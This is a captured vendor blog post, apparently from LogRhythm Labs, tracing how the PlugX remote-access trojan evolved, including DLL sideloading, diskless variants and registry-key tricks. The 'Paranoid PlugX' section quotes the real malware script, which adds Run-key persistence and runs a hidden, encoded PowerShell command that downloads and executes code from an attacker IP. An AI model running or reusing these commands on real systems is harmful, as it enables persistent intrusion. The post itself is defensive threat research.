logrhythm.com Open in urlscan Pro
141.193.213.20  Public Scan

URL: https://logrhythm.com/blog/deep-dive-into-plugx-malware/
Submission: On September 23 via api from DE — Scanned from DE

Form analysis 4 forms found in the DOM

<form class="mktoForm mktoHasWidth mktoLayoutLeft" data-formid="1920" id="" novalidate="novalidate" style="font-family: Helvetica, Arial, sans-serif; font-size: 13px; color: rgb(51, 51, 51); width: 800px;">
  <div id="spinner-overlay" style="display: none;">
    <div class="cv-spinner"><span class="spinner padding-top-10 padding-bottom-10"></span></div>
  </div>
  <style type="text/css">
    .mktoForm .mktoButtonWrap.mktoSimple .mktoButton {
      color: #fff;
      border: 1px solid #75ae4c;
      padding: 0.4em 1em;
      font-size: 1em;
      background-color: #99c47c;
      background-image: -webkit-gradient(linear, left top, left bottom, from(#99c47c), to(#75ae4c));
      background-image: -webkit-linear-gradient(top, #99c47c, #75ae4c);
      background-image: -moz-linear-gradient(top, #99c47c, #75ae4c);
      background-image: linear-gradient(to bottom, #99c47c, #75ae4c);
    }

    .mktoForm .mktoButtonWrap.mktoSimple .mktoButton:hover {
      border: 1px solid #447f19;
    }

    .mktoForm .mktoButtonWrap.mktoSimple .mktoButton:focus {
      outline: none;
      border: 1px solid #447f19;
    }

    .mktoForm .mktoButtonWrap.mktoSimple .mktoButton:active {
      background-color: #75ae4c;
      background-image: -webkit-gradient(linear, left top, left bottom, from(#75ae4c), to(#99c47c));
      background-image: -webkit-linear-gradient(top, #75ae4c, #99c47c);
      background-image: -moz-linear-gradient(top, #75ae4c, #99c47c);
      background-image: linear-gradient(to bottom, #75ae4c, #99c47c);
    }
  </style>
  <div class="mktoFormRow">
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 10px;">
      <div class="mktoOffset" style="width: 10px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="FirstName" id="LblFirstName" class="mktoLabel mktoHasWidth" style="width: 100px;">
          <div class="mktoAsterix">*</div>First:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 10px;"></div><input id="FirstName" name="FirstName" placeholder="First Name" maxlength="255" aria-labelledby="LblFirstName InstructFirstName" type="text"
          class="mktoField mktoTextField mktoHasWidth mktoRequired" aria-required="true" style="width: 150px;"><span id="InstructFirstName" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow">
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 10px;">
      <div class="mktoOffset" style="width: 10px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="LastName" id="LblLastName" class="mktoLabel mktoHasWidth" style="width: 100px;">
          <div class="mktoAsterix">*</div>Last:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 10px;"></div><input id="LastName" name="LastName" placeholder="Last Name" maxlength="255" aria-labelledby="LblLastName InstructLastName" type="text"
          class="mktoField mktoTextField mktoHasWidth mktoRequired" aria-required="true" style="width: 150px;"><span id="InstructLastName" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow">
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 10px;">
      <div class="mktoOffset" style="width: 10px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="Email" id="LblEmail" class="mktoLabel mktoHasWidth" style="width: 100px;">
          <div class="mktoAsterix">*</div>Email:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 10px;"></div><input id="Email" name="Email" placeholder="Email" maxlength="255" aria-labelledby="LblEmail InstructEmail" type="email"
          class="mktoField mktoEmailField mktoHasWidth mktoRequired" aria-required="true" style="width: 150px;"><span id="InstructEmail" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_campaign" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_medium" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_source" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_term" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="AdGroup" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="asset_url" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LandingPageURL" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="TY_Page_URL__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="https://logrhythm.com/blog-newsletter-subscription-ty/" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_language__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_region__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_social__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="FALSE" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoButtonRow"><span class="mktoButtonWrap mktoSimple" style="margin-left: 120px;"><button type="submit" class="mktoButton">Subscribe Now</button></span></div><input type="hidden" name="formid" class="mktoField mktoFieldDescriptor"
    value="1920"><input type="hidden" name="munchkinId" class="mktoField mktoFieldDescriptor" value="050-UWT-888">
</form>

<form class="mktoForm form-inline global-footer-form mktoHasWidth mktoLayoutLeft" data-formid="1920" data-tyredr="false" id="" novalidate="novalidate"
  style="font-family: Helvetica, Arial, sans-serif; font-size: 13px; color: rgb(51, 51, 51); width: 192px;">
  <div id="spinner-overlay">
    <div class="cv-spinner"><span class="spinner padding-top-10 padding-bottom-10"></span></div>
  </div>
  <style type="text/css">
    .mktoForm .mktoButtonWrap.mktoSimple .mktoButton {
      color: #fff;
      border: 1px solid #75ae4c;
      padding: 0.4em 1em;
      font-size: 1em;
      background-color: #99c47c;
      background-image: -webkit-gradient(linear, left top, left bottom, from(#99c47c), to(#75ae4c));
      background-image: -webkit-linear-gradient(top, #99c47c, #75ae4c);
      background-image: -moz-linear-gradient(top, #99c47c, #75ae4c);
      background-image: linear-gradient(to bottom, #99c47c, #75ae4c);
    }

    .mktoForm .mktoButtonWrap.mktoSimple .mktoButton:hover {
      border: 1px solid #447f19;
    }

    .mktoForm .mktoButtonWrap.mktoSimple .mktoButton:focus {
      outline: none;
      border: 1px solid #447f19;
    }

    .mktoForm .mktoButtonWrap.mktoSimple .mktoButton:active {
      background-color: #75ae4c;
      background-image: -webkit-gradient(linear, left top, left bottom, from(#75ae4c), to(#99c47c));
      background-image: -webkit-linear-gradient(top, #75ae4c, #99c47c);
      background-image: -moz-linear-gradient(top, #75ae4c, #99c47c);
      background-image: linear-gradient(to bottom, #75ae4c, #99c47c);
    }
  </style>
  <div class="mktoFormRow">
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 10px;">
      <div class="mktoOffset" style="width: 10px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="FirstName" id="LblFirstName" class="mktoLabel mktoHasWidth" style="width: 100px;">
          <div class="mktoAsterix">*</div>First:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 10px;"></div><input id="FirstName" name="FirstName" placeholder="First Name" maxlength="255" aria-labelledby="LblFirstName InstructFirstName" type="text"
          class="mktoField mktoTextField mktoHasWidth mktoRequired" aria-required="true" style="width: 150px;"><span id="InstructFirstName" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow">
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 10px;">
      <div class="mktoOffset" style="width: 10px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="LastName" id="LblLastName" class="mktoLabel mktoHasWidth" style="width: 100px;">
          <div class="mktoAsterix">*</div>Last:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 10px;"></div><input id="LastName" name="LastName" placeholder="Last Name" maxlength="255" aria-labelledby="LblLastName InstructLastName" type="text"
          class="mktoField mktoTextField mktoHasWidth mktoRequired" aria-required="true" style="width: 150px;"><span id="InstructLastName" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow">
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 10px;">
      <div class="mktoOffset" style="width: 10px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="Email" id="LblEmail" class="mktoLabel mktoHasWidth" style="width: 100px;">
          <div class="mktoAsterix">*</div>Email:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 10px;"></div><input id="Email" name="Email" placeholder="Email" maxlength="255" aria-labelledby="LblEmail InstructEmail" type="email"
          class="mktoField mktoEmailField mktoHasWidth mktoRequired" aria-required="true" style="width: 150px;"><span id="InstructEmail" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_campaign" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_medium" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_source" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_term" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="AdGroup" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="asset_url" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LandingPageURL" class="mktoField mktoFieldDescriptor mktoFormCol" value="https://logrhythm.com/blog-subscription/?utm_content=global-footer-form" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="TY_Page_URL__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="https://logrhythm.com/blog-subscription-ty/" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_language__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_region__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="NULL" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="UTM_social__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="FALSE" style="margin-bottom: 10px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoButtonRow"><span class="mktoButtonWrap mktoSimple" style="margin-left: 120px;"><button type="submit" class="mktoButton">Subscribe Now</button></span></div><input type="hidden" name="formid" class="mktoField mktoFieldDescriptor"
    value="1920"><input type="hidden" name="munchkinId" class="mktoField mktoFieldDescriptor" value="050-UWT-888">
</form>

<form class="mktoForm mktoHasWidth mktoLayoutLeft" data-formid="1920" novalidate="novalidate"
  style="font-family: Helvetica, Arial, sans-serif; font-size: 13px; color: rgb(51, 51, 51); visibility: hidden; position: absolute; top: -500px; left: -1000px; width: 1600px;"></form>

<form class="mktoForm form-inline global-footer-form mktoHasWidth mktoLayoutLeft" data-formid="1920" data-tyredr="false" novalidate="novalidate"
  style="font-family: Helvetica, Arial, sans-serif; font-size: 13px; color: rgb(51, 51, 51); visibility: hidden; position: absolute; top: -500px; left: -1000px; width: 1600px;"></form>

Text Content

Modernize your SOC strategy. Learn How



1-866-384-0713

Customer Portal



Toggle navigation

 * Products
    * LogRhythm SIEM Platform
      
      We built the LogRhythm SIEM Platform with you in mind. Defending your
      enterprise comes with great responsibility. With intuitive,
      high-performance analytics and a seamless incident response workflow, your
      team will uncover threats faster, mitigate risks more efficiently, and
      produce measurable results.
   
    * LogRhythm Cloud
      
      Simplify your security operations with full LogRhythm SIEM without the
      hassle of managing infrastructure.
   
    * LogRhythm UEBA
      
      Bring clarity and context to anomalous user behavior by corroborating risk
      with full-featured UEBA.
   
    * LogRhythm NDR
      
      Eliminate blind spots and monitor your network in real time with ML-driven
      threat detection and response and a built-in MITRE ATT&CK engine.

 * Security Solutions
    * SIEM
      
      Detect, investigate, and neutralize threats with our end-to-end platform.
   
    * SOAR
      
      Work smarter, more efficiently, and more effectively.
   
    * UEBA
      
      Detect anomalous user behavior and threats with advanced analytics.
   
    * Log Management
      
      Gain full visibility into your data and the threats that hide there.
   
    * Threat Detection
      
      Build a strong foundation of people, process, and technology to accelerate
      threat detection and response.
   
    * Compliance
      
      Meet and report on compliance mandates, including PCI, HIPAA, NERC, CIP,
      and more.
   
    * Zero Trust Security Model
      
      How to protect your people, devices, and data across the enterprise.
   
    * MITRE ATT&CK Framework
      
      How do your strategic security defenses stand up to the MITRE ATT&CK
      framework?
   
    * Security Solutions Overview

 * Industries
    * Healthcare
      
      Protecting sensitive patient healthcare data.
   
    * Government
      
      Meet the challenges of defending public sector data.
   
    * Financial Services
      
      Safeguarding data and minimizing risk in financial services.
   
    * Utilities
      
      Safeguarding systems and devices in critical utility infrastructure.
   
    * Manufacturing
      
      Defend your operational technology environment with SIEM.
   
    * Legal
      
      Protect your law firm’s network and data.

 * Work With Us
    * Partners
    * Technology Alliance Program
    * Technology Partners
    * Services Authorized Partners
    * Partner Portal
   
    * Customers
    * Welcome to LogRhythm
    * Champions Network
    * Customer Success
    * Training
    * Support & Community
    * Services Overview
   
    * Is your security team stressed?
    * If you work in security, hearing that stress is impacting your space is
      likely no surprise. Learn why your team may be experiencing more stress
      than ever before in this new research.
    * 
    * Download the Research
   
    * Request Demo
    * LogRhythm Community

 * Resources
    * Resource Library
    * Analyst Reports
    * Product Demos
    * White Papers & e-Books
    * Case Studies
    * Use Cases
    * Threat Research
    * On-Demand Webcasts
    * 
    * All Resources
   
    * 
    * Blog
      
      Read the latest security news and insights from security professionals and
      our award-winning LogRhythm Labs team.
   
    * Events
      
      Connect with LogRhythm security experts at trade shows, conferences, and
      events across the globe.
   
    * LogRhythm Labs
      
      Learn how our team of security experts can help you succeed through their
      real-world SOC experience.
   
    * 
    * 
    * Featured Content

 * About
    * About Us
    * Our Story
    * Executive Team
    * Awards & Recognition
    * Logiving
    * Customer Testimonials
    * In the News
    * Press Releases
    * Careers
    * 
    * Contact Us
   
    * See why organizations choose us
    * Customers and peers agree. Working with LogRhythm is a recipe for success.
      Don’t just take it from us. Read reviews from our customers on Gartner
      Peer Insights.
    * 
       * 
   
       * 
       * See why LogRhythm is a nine-time Gartner Magic Quadrant for SIEM leader
       * Get the Report

 * Request Info


TAKE A DEEP DIVE INTO PLUGX MALWARE

Posted on April 18, 2018 | Featured | No Comments
Category: LogRhythm Labs | Security Tips and Tricks | Threat Research
Type: Blog

In June 2017, Palo Alto’s Unit 42 Threat Research team published an excellent
blog post on a newly detected version of the PlugX malware family, also known as
“Korplug.” Interested to find out more about this new variant, I started digging
around and found that there have been many new samples of “PlugX v1.” This isn’t
too surprising considering that a builder for version one of the malware has
been publicly available for several years. However, this piqued my curiosity. I
decided to look into where these old samples were used and whether there was any
specific targeting. In terms of malware detection, it is always interesting to
see old code repurposed or reused in new attacks and campaigns, as seen in the
resurgence of Shamoon Malware in 2016.


A HISTORY OF PLUGX MALWARE

The PlugX malware family is well known to researchers, with samples dating back
to as early as 2008, according to researchers at Trend Micro. PlugX is a fully
featured Remote Access Tool/Trojan (RAT) with capabilities such as file upload,
download, and modification, keystroke logging, webcam control, and access to a
remote cmd.exe shell.

Until recently, distinct versions of PlugX malware maintained consistent
methodologies for encryption, configuration, and persistence — despite evolution
of the tool’s development over the years. In 2014, there was a resurgence of
this malware family, making it the most utilized family of that year, according
to Crowdstrike’s Global Threat Report released in February 2015. Changes to the
command and control (C2) options contributed to this resurgence because the
malware authors implemented new DNS C2 methodology that made traffic harder to
detect.

Until the end of 2016, the typical PlugX infection methodology was the same: The
malware payload was typically delivered via a phishing campaign, either as an
attached self-extracting RAR (SFX) archive, link to an archive, or embedded in a
weaponized document. This archive contains three files that make up the PlugX
components. An example of these three components is as follows (extracted from
the RAR archive with SHA-256 hash
1c0379481d17fc80b3330f148f1b87ff613cfd2a6601d97920a0bcd808c718d0):

Figure 1: PlugX Component Files

Although the above sample used an NVIDIA application, many PlugX samples of this
variant leveraged applications associated with antivirus or various other
security products. Because these executables are signed, legitimate
applications, endpoint security products are less likely to flag them.
Furthermore, usage of antivirus-related applications can potentially take
advantage of product whitelisting on the endpoint.

There have been many extensive analyses of the aforementioned PlugX variants
over the years, as is evident by the lengthy — and yet still incomplete —
references in the Appendix of this post, so I will not repeat a full analysis
here. However, a brief overview of the “original” or “classic” PlugX execution
method is available below.

Figure 2: PlugX SFX Archive Components


CLASSIC PLUGX EXECUTION METHODOLOGY

Below is a depiction of the execution methodology for the classic variant of
PlugX — most variants roughly follow this pattern, but there are some
deviations. Execution flow in general proceeds as follows:

 1. The three PlugX components are extracted from the archive to a temporary
    directory on the system.
 2. The legitimate, signed program is executed and the malicious loader DLL is
    sideloaded.
 3. The loader DLL decrypts and decompresses the payload file.
 4. The decrypted shellcode is injected into a legitimate system process.
    * Note: This step is performed in different ways (code injection, process
      hollowing) depending on the specific variant of PlugX, but the basic
      methodology is the same.
 5. Injected Windows process conducts C2/PlugX functionality.

Figure 3: PlugX Execution Chain


CORE PLUGX MALWARE FUNCTIONALITY EVOLVES

In 2013, multiple updates to the core PlugX malware functionality occurred,
including the addition of new C2 protocols, encryption, and installation
methodologies. Researchers with Airbus analyzed several samples that appeared to
be from mid-to-late 2013. These samples represented an intermediate version of
PlugX, with characteristics falling between the original “v1” and “v2” variants.

The main updates in this variant included a new, custom encryption algorithm
used for configuration data, network communications, and strings within the
binaries. Also featured in this variant was the addition of the ICMP protocol as
a new C2 methodology and a modification of the HTTP packet format. Later
versions of this variant added DNS C2 as a module.

In 2013, researchers at Lastline also detected variants that included an update
to the PlugX malware deployment and installation methodologies. Although the
dropped files and chain of execution matched that of the classic PlugX variants
(three components: legitimate executable, loader DLL, and encrypted payload),
these samples featured User Account Control (UAC) evasion functionality and an
alternative process creation mechanism using Component Object Model (COM)
objects.

Researchers at Sophos first discovered a new strain of memory-resident PlugX at
the end of 2013. The malware was discovered in a campaign exploiting a
vulnerability in the popular Japanese word processing software, Ichitaro. Unlike
the classic PlugX samples that drop the three components previously discussed,
the “diskless” samples do not use the sideloading technique with a valid
executable — the loader DLL and payload are not written as files to disk. The
memory-resident PlugX, upon successful exploitation of the delivery method
(typically a weaponized Rich Tech Format (RTF) document), executes shellcode
that decrypts and decompresses the payload, which is a masked DLL file that is
then loaded in memory and executed.

While 2014 showed a great uptick in the use of PlugX in Advanced Persistent
Threat (APT) campaigns, the variants observed mostly consisted of v1/v2
“classic” samples. In 2015, however, researchers observed a few variants that
deviated from the classic execution methodology and added a new communication
methodology to the PlugX repertoire. In the beginning of 2015, researchers from
JPCERT reported on a variant of PlugX that added peer-to-peer (P2P)
functionality, allowing the malware to communicate with other infected hosts on
the local network.

Fast forward to March 2015: Carbon Black detected an additional PlugX variant
that used a different loading methodology compared to earlier samples. In this
variant, only the loader DLL and encrypted payload are dropped to the system;
the malware uses the legitimate Windows system file rundll32.exe to execute the
malicious PlugX DLL from an export rather than relying on sideloading.

In August 2015, researchers at Airbus discovered a new variant of the “original”
PlugX. This variant utilized a fourth file in the initial installation of the
RAT. This file, also embedded in the SFX RAR, is a small executable file that
provides an additional execution method of the main binary. The executable
creates the registry value
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\AppKey\18\ShellExecute
with the data pointing to the PlugX installation binary. This registry key maps
special keyboard keys to commands or programs, such as music or mail, that
execute when someone presses that key. Key number 18 typically corresponds to
the “calculator” key. Once this registry key is set, the malware
programmatically triggers a “press” of the key, thereby executing the
installation binary. This method effectively provides an alternative execution
of the malware chain.

Similar to the 2008 campaign, PlugX is often used with another common RAT called
Poison Ivy. In 2017, researchers from JPCERT discovered a variant of PlugX that
actually had code overlap with Poison Ivy in the form of a hash algorithm. This
code was used to obscure the Windows API calls in the binary. The format of the
final decrypted payload of the new samples departed from the methodology of
previous PlugX variants, instead the format mimicked that of Poison Ivy.

In June 2017, researchers at Palo Alto Networks released a review of a new PlugX
variant they detected on their networks, which they named “Paranoid PlugX.” This
variant added several new mechanisms for avoiding security controls and
detection, including new methods for determining the C2 server address after
execution, new loading methodology, and new methods for avoiding detection on
disk. Rather than dropping the executable, loader DLL, and payload to disk, this
variant used a Visual Basic (VB) script to perform two attempts to download and
execute the code.

a=new ActiveXObject(WScript.Shell);
a.run('%windir%\\System32\\reg.exe add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v MSASCuiL2 /t reg_sz /d %windir%\\System32\\msiexec.exe /q /i hxxp://172.104.65\.97/Tasks.png /f', 0);window.close();
a.run('%windir%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle hidden -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKAEkARQBYACAAJABuAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQAwADQALgA2ADUALgA5ADcALwBnAHUAZQBzAHQALgBwAHMAMQAnACkAOwAKAA==', 0);window.close();
</script>


Figure 3: Paranoid PlugX Download and Execution Script

The above code creates persistence in the “Run” registry key for the execution
of a file downloaded from the URL in the command. The code highlighted in blue
uses PowerShell to download another PowerShell file named “guest.psl” from the
same IP address as the first command. In both cases, the embedded PlugX
shellcode that is executed are identical. Another feature that makes Paranoid
PlugX deviate from previous variants is that the embedded payload is wrapped in
a .NET Framework file, which has not been seen in other samples.


TIMELINE OF PLUGX VARIANTS

The following is a rough timeline that illustrates when samples of the variants
discussed were initially reported publicly. Note: The dates below correspond to
detection/reporting of samples displaying the stated functionality — the actual
samples referenced may have compilation or creation dates earlier than those
listed below.

Figure 4: PlugX History Timeline


PLUGX REMAINS A THREAT

Although there have been several variants over the years, an analysis of the
timeline of variants discussed demonstrates the “original” PlugX variant
continues to be used today. Despite the evolution of PlugX methodologies and
techniques, these classic PlugX samples remain successful and are still utilized
in adversarial campaigns as a result.

In conducting this research, I found a wealth of information from different
research groups published over the last eight years. While this is by no means
inclusive of all PlugX research conducted, the resources cover many of the
highlights of the malware’s evolution over the years.

Click here to view the sources of PlugX variants mentioned above.

--------------------------------------------------------------------------------


SUBSCRIBE TO OUR BLOG NEWSLETTER

*
First:




*
Last:




*
Email:















Subscribe Now



Share on LinkedIn Share on Twitter Share on Facebook Share on Reddit Share on
Email



SUBSCRIBE TO OUR BLOG NEWSLETTER

*
First:




*
Last:




*
Email:















Subscribe Now

--------------------------------------------------------------------------------

 * Healthcare
 * Government
 * Utilities
 * Financial Services
 * Manufacturing
 * Legal

--------------------------------------------------------------------------------


PRODUCTS

 * LogRhythm SIEM
 * LogRhythm NDR
 * LogRhythm UEBA
 * LogRhythm Cloud
 * AnalytiX
 * DetectX
 * RespondX


SOLUTIONS

 * SIEM
 * SOAR
 * UEBA
 * Log Management
 * Threat Detection
 * Compliance
 * MITRE ATT&CK
 * Zero Trust


RESOURCES

 * Calculate ROI w/LogRhythm
 * Pricing & Licensing
 * Product Demos
 * White Papers & e-Books
 * Product Data Sheets
 * Testimonials
 * Analyst Reports
 * Case Studies
 * Use Cases
 * Threat Research
 * Infographics
 * Brochures
 * Webcasts


PARTNERS

 * Partner Portal
 * Services Authorized Partners
 * Technology Partners
 * Joint Solution Briefs




SUPPORT

 * Getting Started
 * SIEM-Supporting Services
 * Customer Success
 * Global Support Services
 * LogRhythm Labs
 * Training
 * Knowledge Base
 * Documentation
 * Product Security


COMPANY

 * Our Story
 * Leadership
 * Press Releases
 * In the News
 * Careers


AWARDS & RECOGNITION

 * 2021 SIEM Gartner Magic Quadrant Leader

 * 


COMMUNITY


CONNECT WITH US

 * LogRhythm Blog
 * Customer Portal
 * Champions Network
 * Contact
 * Events



SUPPORT

+1-866-255-0862

SALES

+1-866-384-0713 info@logrhythm.com
© LogRhythm, Inc. All Rights Reserved. Privacy Policy | Terms & Conditions

We are using cookies to give you the best experience on our website.

You can find out more about which cookies we are using or switch them off in
settings.

Accept

Close GDPR Cookie Settings
 * Privacy Overview
 * Strictly Necessary Cookies

Powered by  GDPR Cookie Compliance
Privacy Overview

This website uses cookies so that we can provide you with the best user
experience possible. Cookie information is stored in your browser and performs
functions such as recognising you when you return to our website and helping our
team to understand which sections of the website you find most interesting and
useful.

Strictly Necessary Cookies

Strictly Necessary Cookie should be enabled at all times so that we can save
your preferences for cookie settings.

Enable or Disable Cookies

If you disable this cookie, we will not be able to save your preferences. This
means that every time you visit this website you will need to enable or disable
cookies again.

Enable All Save Settings